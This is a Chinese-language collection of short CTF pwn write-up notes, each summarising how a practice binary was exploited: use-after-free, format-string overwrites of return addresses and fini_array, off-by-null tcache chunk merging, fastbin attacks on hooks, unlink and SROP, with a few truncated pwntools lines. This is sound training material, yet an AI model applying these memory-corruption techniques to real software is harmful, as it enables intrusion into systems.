这题还看了好一会,最后突然发现strdup会申请一块内存,也就是login一次会申请两块内存,并且只会释放存name的那一块内存。那就很舒服了,第一次把level 5放进去,第二次申请出来就ok
picoctf_2018_buffer overflow 0
也是基础的栈溢出,只不过这次需要ssh进去在命令行起程序,而pwntools是有ssh模块的,直接利用即可
1 | elf = ELF("./pwn") |
bjdctf_2020_YDSneedGrirlfriend
free 后未清空指针可以print
print是用堆中的print指针来打印
改指针就行
第四页中间这部分异常的简单…
xman_2019_format
格式化字符串在堆上,和在bss类似,需要用栈中原先存在的指针来修改返回地址
由于只有一次输入,所以只能爆破指针地址,不过简单的是程序的函数嵌套了很多层,有很多返回地址,可以只爆破最后一个字节
多试几次就出来了
lctf2016_pwn200
题倒是不难,就是一眼没看出来,看了好一会…
- name可以把rbp带出来
- money位置有个任意写
剩下的就看自己选择怎么做了,我是在name里写了个shellcode,money处把main函数返回地址改掉了
ciscn_2019_sw_1
了解到一个新的东西
程序执行时有两个数组,_init_array
和_fini_array
,他们由glibc分别在开头和结尾调用,本题由于有长度限制,所以可以在fini_array中填入main函数地址,二次返回main函数
做法是,第一次改glibc和fini_arrary,第二次回来利用
记得手写payload,fmtstr_payload会超
hitcon_2018_children_tcache
有off-by-null,有tcache,可以构造两个大chunk中间加一个小chunk
这样,删除第一个,修改第三个inuse和priv_size字段,再删除三,以此来向前合并
这样,由于第二个chunk仍可以使用,可以利用其打印libc地址和用于后续的double-free
gyctf_2020_some_thing_interesting
存在uaf和格式化字符串,chunk大小被限制
可利用格式化字符串获取libc地址,再通过fastbin attck打hook
qctf2018_stack2
有个写数组越界了,payload注意偏移就问题不大
hgame2018_flag_server
初一看题,还打算调c库,仔细一看,c库都不用调…
[BSidesCF 2019]Runit
emmm…这页题质量是真的很低
zctf_2016_note3
unlink
发觉最近脑子有些不好使了?
1 | Add(0x88, b'aaa') |
rootersctf_2019_srop
复习了一遍srop
1 | pop_rax_syscall_level = 0x401032 |